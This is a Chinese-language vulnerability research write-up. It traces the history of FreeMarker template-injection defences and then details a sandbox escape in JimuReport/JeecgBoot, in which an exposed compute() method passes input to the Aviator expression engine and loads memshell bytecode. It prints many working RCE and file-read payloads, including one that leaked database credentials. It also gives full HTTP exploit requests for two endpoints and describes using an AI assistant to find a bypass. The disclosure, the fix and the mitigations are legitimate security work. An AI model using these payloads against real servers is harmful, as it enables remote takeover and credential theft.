0x01 前言

在某次测试的时候,发现了一个模板注入漏洞。心想照着 FreeMarker SSTI 的老套路来不就完了?结果一动手就傻眼了——?new 被SAFER_RESOLVER 拦掉,?api 没开,内置对象该拦的都拦了,愣是找不到一个能用的 RCE 入口。既然传统套路走不通,于是在梳理 FreeMarker 攻防史的过程中结合 AI发现了一条文件读取的路径。但本着业余安全人员的原则,怎么能止步于文件读取呢?于是进一步审计 JimuReport报表模块,看看业务代码有没有帮倒忙的——有没有什么暴露到模板上下文的自定义方法。结果还真找到了。(以上内容纯属胡扯)

本文是CVE-2023-4450的延伸,主要叙述从"回顾 FreeMarker 攻防史"到"利用暴露对象结合 Aviator 表达式进行 FreeMarker 沙箱逃逸",以及AI时代下漏洞挖掘的应用。

0x02 FreeMarker 攻防史


从1999年末FreeMarker发布到现在,二十多年里攻防两端一直在较量。根据几个标志性的版本大致分为四个时期。

2.1 蛮荒时代(1999-2010 | v1.0 - v2.3.16):无原生防护

FreeMarker 早期基本没有安全设计,?new 内建函数可以直接实例化任意实现了 TemplateModel 接口的 Java 类。原生的三个危险类直接就能 RCE:

  • freemarker.template.utility.Execute:直接执行系统命令
  • freemarker.template.utility.ObjectConstructor:实例化任意 Java 类,构造 ProcessBuilder 执行命令
  • freemarker.template.utility.JythonRuntime:执行 Python 代码实现命令执行

基础 Payload:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

官方组件无任何防护机制,安全完全依赖业务方自行控制模板编辑权限。

2.2 原生防护建设期(2010-2015 | v2.3.17 - v2.3.21)

2010 年 5 月发布的 v2.3.17 是 FreeMarker 安全史上的首个里程碑。官方引入了 TemplateClassResolver 类解析器机制,提供三种预定义解析器,首次实现对 ?new 函数的类加载限制:

  • UNRESTRICTED_RESOLVER:无限制加载任意类(兼容旧版本)
  • SAFER_RESOLVER:默认禁用 Execute、ObjectConstructor、JythonRuntime 三个原生危险类
  • ALLOWS_NOTHING_RESOLVER:完全禁止任何类的实例化

同时开放 setNewBuiltinClassResolver 自定义接口,允许业务方实现个性化的类加载黑白名单。

Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

(PS:关于SAFER_RESOLVER v2.3.17只禁用了ObjectConstructor,而Execute、JythonRuntime`仍然有效,v2.3.19则三个都被禁用)

但攻击者很快找到了两种绕过手法:

绕过方法一:寻找第三方 TemplateModel 实现类

SAFER_RESOLVER 只拦了原生三个危险类,没拦业务系统里其他实现了 TemplateModel 接口的类。只要找到一个类本身有危险行为,一样能 RCE。

需要实现
TemplateMethodModel:

public class FreemakerSSTI implements TemplateMethodModel {
    @Override
    public Object exec(List arguments) throws TemplateModelException {
        String cmd = arguments.get(0).toString();
        Runtime.getRuntime().exec(cmd);
        return "Executed: " + cmd;
    }
}

对应的 Payload:

${"FreemakerSSTI"?new()("whoami")}

绕过方法二:静态代码块

Java 类被加载时静态块会自动执行,而 ?new 在实例化前第一步是先把类加载进内存。所以即使你拿到对象啥也没做,静态代码块里的恶意代码已经跑完了。

public class Test {
    static {
        try {
            System.out.println("静态代码块被触发,正在执行恶意命令");
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

对应 Payload 就一行:

<#assign foo="Test"?new()>

2.3 安全能力补全期(2015-2019 | v2.3.22 - v2.3.29)

2015 年 3 月发布的 v2.3.22 是 FreeMarker 安全体系的核心补全版本:

  1. 新增 ?api 内建函数,允许模板访问 Java 原生 API,但默认关闭(api_builtin_enabled=false),从根源上限制了反射型利用
  2. 新增 unsafeMethods.properties 危险方法黑名单,禁用 getClassLoader()、newInstance()、Class.forName()、Method.invoke() 等核心反射方法
  3. 2015 年末 FreeMarker 捐赠给 Apache 软件基金会,2018 年 3 月正式成为 Apache 顶级项目

但攻击者又找到了新的突破口:

getClassLoader() 黑名单绕过(< v2.3.30)

官方只禁用了 Class.getClassLoader(),但没限制 ProtectionDomain.getClassLoader():

<#assign classloader=object.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("whoami")}

?api 开启场景的完整利用链

如果业务方开了 api_builtin_enabled=true,可以通过类加载器加载恶意类,结合 Gson/Jackson 的 fromJson 实例化 Execute,完全绕开 ?new 的限制:

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("org.joychou.controller.ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

需要2.3.22之后,并且api_builtin_enabled=true(一直默认false);

任意文件读取 / SSRF

api_builtin_enabled为true
<#assign is=object?api.class.getResourceAsStream("/application.properties")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

api_builtin_enabled未开启(AI绕过SAFER_RESOLVER)

api_builtin_enabled为true可以使用网上公开的poc?api读取文件,未开启时使用以下payload

<#assign is=object.class.getResourceAsStream("/application.properties")>

object.class.getResourceAsStream() 可读取 classpath 中的配置文件,配合 seq_contains 字节查表可以还原文件内容。

getResourceAsStream 完整 Payload:

<#assign is=object.class.getResourceAsStream('/application.properties')>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]


AI绕过SAFER_RESOLVER

最终审计报告

  一、SAFER_RESOLVER bypass 成功

  通过 object.class.getResourceAsStream() + FreeMarker <#if seq_contains> + substring 字节查表,成功读取 classpath
  中的配置文件内容。

  泄露的敏感凭证:
  - JDBC URL: jdbc:mysql://localhost:3306/javaseccode
  - 数据库用户名: root
  - 数据库密码: woshishujukumim

  二、完整 PoC 模板

  <#assign U='ABCDEFGHIJKLMNOPQRSTUVWXYZ'>
  <#assign L='abcdefghijklmnopqrstuvwxyz'>
  <#assign D='0123456789'>
  <#assign RU=65..90><#assign RL=97..122><#assign RD=48..57>
  <#assign is=object.class.getResourceAsStream('/application.properties')>
  <#list [is.read(),is.read(),...] as b>
  <#if RU?seq_contains(b)>${U?substring((b-65),(b-65+1))}</#if>
  <#if RL?seq_contains(b)>${L?substring((b-97),(b-97+1))}</#if>
  <#if RD?seq_contains(b)>${D?substring((b-48),(b-48+1))}</#if>
  </#list>

  原理: seq_contains 返回布尔值(不同于 >/>=/&& 返回数字),可以在 <#if> 中作为条件。通过 ..
  范围语法创建字符码范围序列(U=65..90, L=97..122, D=48..57),逐字节判断所属范围后用 substring 映射到可读字符。

  三、用户提供的两个向量验证结果

  ┌─────────────────────────────────────────────────────────┬───────────┬───────────────────────────────────────────┐
  │                          向量                           │   状态    │                   原因                    │
  ├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
  │ object?api.class.getProtectionDomain().getClassLoader() │ ❌ 阻断   │ object?api 直接报错                       │
  │                                                         │           │ api_builtin_enabled=false                 │
  ├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
  │ URI.create() → URL.openConnection()                     │ ❌ 阻断   │ ?new 全局禁用;forName/getMethod 均被阻断 │
  ├─────────────────────────────────────────────────────────┼───────────┼───────────────────────────────────────────┤
  │ object.class.getResourceAsStream() (新发现)             │ ✅        │ 可读取 classpath                          │
  │                                                         │ 部分成功  │ 资源内容,但无法读取任意文件系统路径      │
  └─────────────────────────────────────────────────────────┴───────────┴───────────────────────────────────────────┘

  四、核心阻断机制确认

  ┌─────────────────────────────┬───────────────────────────┐
  │           阻断项            │           状态            │
  ├─────────────────────────────┼───────────────────────────┤
  │ object?api                  │ ❌ api_builtin=false      │
  ├─────────────────────────────┼───────────────────────────┤
  │ ClassModel.forName()        │ ❌                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ ClassModel.getClassLoader() │ ❌                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ Method.invoke()             │ ❌                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ ?new 操作符                 │ ❌                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ > / >= 比较运算符           │ ❌ 返回数字(不兼容 #if) │
  ├─────────────────────────────┼───────────────────────────┤
  │ < / <= / == 比较运算符      │ ✅                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ seq_contains                │ ✅ 返回布尔值             │
  ├─────────────────────────────┼───────────────────────────┤
  │ substring                   │ ✅                        │
  ├─────────────────────────────┼───────────────────────────┤
  │ 65..90 范围序列             │ ✅                        │
  └─────────────────────────────┴───────────────────────────┘

  五、结论

  SAFER_RESOLVER 在此配置下成功阻止了 RCE 和任意文件读取,但通过 object.class.getResourceAsStream() 仍可读取 classpath
  中配置文件的明文敏感信息(数据库凭证)。这属于 SSRF/信息泄露 风险。

2.4 沙箱逃逸爆发期(2019-2021):BlackHat 引爆新战场

2019-2021 年,主流企业级系统(如 Liferay、VMware Workspace ONE)在 FreeMarker 原生防护基础上,构建了深度自定义的沙箱机制,传统通用利用链全面失效,攻防对抗从「绕过原生防护」进入「突破企业级定制沙箱」的新阶段。

企业级沙箱防护体系形成了多层防护架构:

  1. 自定义 ObjectWrapper:对模板访问的所有对象做递归类型校验,拉黑 java.lang.Class、ClassLoader、Runtime 等核心危险类
  2. 双重黑白名单校验:自定义 TemplateClassResolver,先黑名单拦截危险类,再白名单校验允许加载的类
  3. 暴露变量管控:通过 restrictedVariables 禁用危险内置对象
  4. 反序列化白名单:对 JSON/XML 反序列化做严格的类白名单限制

2020 年 BlackHat USA 议题《Room for Escape: Scribbling Outside the Lines of Template Security》(@pwntester & @Oleksandr Mirosh),彻底改变了 FreeMarker 的攻防格局。

核心发现:模板上下文默认暴露的内置对象本身就是沙箱允许的,通过这些对象的方法调用、属性获取,可以串联出类加载、任意方法调用、命令执行的能力,完全绕开原生防护和自定义沙箱。

比如 Liferay 默认暴露了 154 个内置对象,攻击者可以通过这些对象层层递进:

<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}



需满足 setExposeSpringMacroHelpers(true);
spring.freemarker.expose-spring-macro-helpers=true。
这波议题之后,模板注入、表达式注入利用方式进入多元化。

2.5 AI对TemplateMethodModel 实现类危险度分析

梳理FreeMarker 中实现了 TemplateMethodModel 接口的类。按照危险程度分类,未完全验证:

高危(可直接 RCE)

Source Class

exec() 行为

SAFER_RESOLVER

freemarker.template.utility.Execute

Runtime.getRuntime().exec(args[0])

不阻止

freemarker.ext.rhino.RhinoFunctionModel

Function.call() → Rhino JS引擎 RCE

不阻止

freemarker.ext.jython.JythonModel

PyObject.call() → Python RCE

不阻止

中危(类实例化 / 任意方法调用)

Source Class

exec() 行为

SAFER_RESOLVER

freemarker.template.utility.ObjectConstructor

BeansWrapper.newInstance() → 任意类实例化

已阻止

freemarker/ext/beans/OverloadedMethodModel

BeansWrapper.invokeMethod() → 任意方法调用

不阻止

freemarker/ext/beans/SimpleMethodModel

BeansWrapper.invokeMethod() → 任意方法调用

不阻止

低危/无害(其余 39 个)

包括 SimpleMapModel.exec()(Map.get(key))、MapModel.exec()(Map.get(key))、ResourceBundleModel.exec()(资源文件读取)等,均为安全的数据处理操作。

0x03 JeecgBoot漏洞挖掘

3.1 漏洞概述

字段

值

漏洞类型

服务端模板注入 (SSTI) / 远程代码执行 (RCE)

影响产品

JimuReport (jeecgboot)

影响版本

v1.6.0 <= JimuReport < 修复版本

CVSS v3.1 评分

CVSS 向量

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

JimuReport(集成于 jeecgboot)在 /jmreport/queryFieldBySql 端点存在服务端模板注入(SSTI)漏洞。攻击者可通过 FreeMarker 模板注入配合 Aviator 表达式执行来实现远程代码执行。

3.2 入口发现:模板注入点

回到审计现场。JeecgBoot 集成 JimuReport 报表模块,核心文件在 org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils,模板渲染的入口。

public static String a(String var0, Map<String, Object> var1) {
    if (var0 == null) {
        return null;
    } else {
        Configuration var2 = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
        var2.setNumberFormat("#.#########");
        var2.setSharedVariable("func", new FunctionMethod());
        var1.put("jeecg", new FreemarkerMethod());
        var1.put("isNotEmpty", new NotEmptyMethod());
        var2.setClassicCompatible(true);
        var2.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        StringWriter var3 = new StringWriter();

        try {
            a.debug("模板内容:{}", var0.toString());
            (new Template("template", new StringReader(var0), var2)).process(var1, var3);
            a.debug("模板解析结果:{}", var3.toString());
        } catch (TemplateException var5) {
            var5.printStackTrace();
        } catch (IOException var6) {
            var6.printStackTrace();
        }

        return var3.toString();
    }
}

关键发现:jeecg 这个变量被直接暴露到了模板上下文,类型是 FreemarkerMethod。


受影响端点:

  • /jmreport/queryFieldBySql
  • /jmreport/loadTableData等。

3.3 攻击链拆解

既然模板注入确认,下一步就是找 RCE 路径。SAFER_RESOLVER 把该拦的都拦了,?new 走不通。

于是审计暴露对像FreemarkerMethod 这个类本身——业务代码把它暴露到模板上下文,那它的实现有没有问题?

FreemarkerMethod.compute() 方法里,直接把用户输入传给了 AviatorEvaluator.execute():

Object var13 = AviatorEvaluator.execute(field, var8);

这就是突破口。AviatorEvaluator.execute() 可以执行任意 Aviator 表达式。

攻击向量:

  1. 向 /jmreport/loadTableData 发送包含恶意 SQL 参数的 POST 请求
  2. SQL 参数包含 FreeMarker 模板表达式:${jeecg.compute(...)}
  3. 表达式调用 jeecg.compute() 并传入 Aviator 有效载荷
  4. Aviator 有效载荷使用 ReflectUtils.defineClass() 加载 Base64 编码的恶意字节码
  5. 内存马代码执行,实现 RCE

3.4 漏洞利用测试(PoC)

3.4.1 基础测试(版本/信息泄露)

本地测试代码:

map.put("jeecg", new FreemarkerMethod());
String poc = "${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLOAD'), ClassLoader.getSystemClassLoader());\")}";
StringTemplateLoader stringLoader = new StringTemplateLoader();
Configuration cfg = new Configuration(DEFAULT_INCOMPATIBLE_IMPROVEMENTS);
stringLoader.putTemplate("name",poc);
cfg.setTemplateLoader(stringLoader);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

请求:

POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json

{
  "dbSource": "",
  "sql": "${jeecg.compute([], {\"a\":10,\"b\":20}, \"a+b\")}",
  "type":"0"
}

预期响应:30

3.4.2 代码执行利用

完整利用请求:

POST /jmreport/queryFieldBySql HTTP/1.1
Host: target:8080
Content-Type: application/json;charset=UTF-8

{"sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));\")}","dbSource":"","type":"0"}

3.5 版本兼容性

不同版本之间有差异,需要针对性调整:

JimuReport 版本

Aviator 版本

Base64 工具类

可利用性

2.1.3 及以下

5.2.6

org.springframework.util.Base64Utils

是

2.1.5

-

Base64Utils 不存在

是

2.2.0

-

-

是

2.3.0+

-

org.apache.commons.codec.binary.Base64

是

2.1.5 版本使用 org.springframework.util.Base64Utils 会报错找不到类:

需要改用 org.apache.commons.codec.binary.Base64.decodeBase64():

最终可用 Payload(v2.3.0+):

v2.3.0+ 有效载荷:

${jeecg.compute([], {"a":10,"b":20}, "use org.springframework.cglib.core.*;use org.springframework.util.*;use java.security.*;use org.apache.commons.codec.binary.*;ReflectUtils.defineClass('org.jeecg.codegenerate.Poc',Base64.decodeBase64('BASE64_PAYLOAD'),ClassLoader.getSystemClassLoader(), nil,Class.forName('org.springframework.expression.ExpressionParser'));"}

JDK 9+ 注意: 由于 named module 限制,可能需要添加 JVM 参数:

--add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED

3.6 其他受影响端点

由于 /jmreport/loadTableData 端点同样存在 FreeMarker 注入漏洞,所以本次沙箱绕过也对该端点有效。

POST /jmreport/loadTableData HTTP/1.1
Host: target:8080
Content-Type: application/json


{"dbSource":"","sql":"${jeecg.compute([], {\"a\":10,\"b\":20}, \"use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.apache.memshell.Poc', Base64Utils.decodeFromString('BASE64_PAYLAD'), ClassLoader.getSystemClassLoader());\")}","tableName":"aaaa);","pageNo":1,"pageSize":10}

3.7 影响范围

  • 机密性: 高 - 完全系统控制
  • 完整性: 高 - 完全系统控制
  • 可用性: 高 - 完全系统控制
  • 攻击复杂度: 低 - 默认配置无需认证

攻击者可以完全控制受影响的服务器,执行任意系统命令,访问敏感数据,并可能危及整个基础设施。

0x04 漏洞本质与修复

4.1 漏洞本质

虽然FreeMarker 本身的安全机制(SAFER_RESOLVER、API 黑名单等)都正常工作,但业务代码自定义的 FreemarkerMethod.compute() 绕过了这些防护——它把用户输入传给了 Aviator 表达式引擎,而 Aviator 再串联 ReflectUtils.defineClass() 完成了 RCE。
这正是 BlackHat 2020 议题揭示的规律:
模板或表达式安全问题往往出在业务代码暴露给模板的那些"合法"对象和方法上。

4.2 厂商修复

引入 SafeFreemarkerMethod,对表达式进行严格的白名单校验

public class SafeFreemarkerMethod {

    private static final Pattern SAFE_EXPRESSION_PATTERN = Pattern.compile("^[0-9+\\-*/().\\s]+$");

    public String safeCompute(Object value) {
        if (value == null) return "";
        String str = value.toString();
        if (SAFE_EXPRESSION_PATTERN.matcher(str).matches()) {
            return str;
        } else {
            CommonAPI.logError("Forbidden expression detected", new SecurityException("Forbidden expression"));
            return "";
        }
    }
}

详细修复方案参见:https://github.com/jeecgboot/jimureport/issues/4733

4.3 临时缓解措施

如果暂时无法升级,可以考虑:

  1. 禁用 JimuReport 模块(如业务不需要)
  2. 网络隔离:限制对 /jmreport/* 端点的访问
  3. WAF 规则:阻止包含 ${jeecg. 模式的请求

0x05 总结

攻防对抗永不停息。 从蛮荒时代的直接 RCE,到 SAFER_RESOLVER,到 API 黑名单,再到 BlackHat 揭示的根数据模型利用,每一代防护都堵死了一批利用路径,但攻击者总能找到新的入口。如同前段时间爆出的fastjosn漏洞一样,永远没有绝对安全的系统。

0x06 时间线

时间

事件

2026-04-07

发现漏洞

2026-04-14

联系厂商(https://github.com/jeecgboot/jimureport

)

2026-07-22

CVE-2026-51086、CVE-2026-51087 分配

2026-08-24

厂商发布修复版本

0x07 参考链接

声明: 本文仅用于安全技术研究和学习,请勿用于非法用途。漏洞已报告厂商并处于修复过程中,建议相关用户关注官方更新。笔者安全业余人员,水平有限,文笔拙劣,不足之处欢迎师傅们指点和纠正,感激涕零。

关于作者:

aqyoung,专注代码审计与攻防实战研究,深耕 Web 漏洞挖掘与业务逻辑绕过场景,积极探索 LLM 安全应用;业余爱好爬山、游泳,保持技术探索与户外运动双向成长。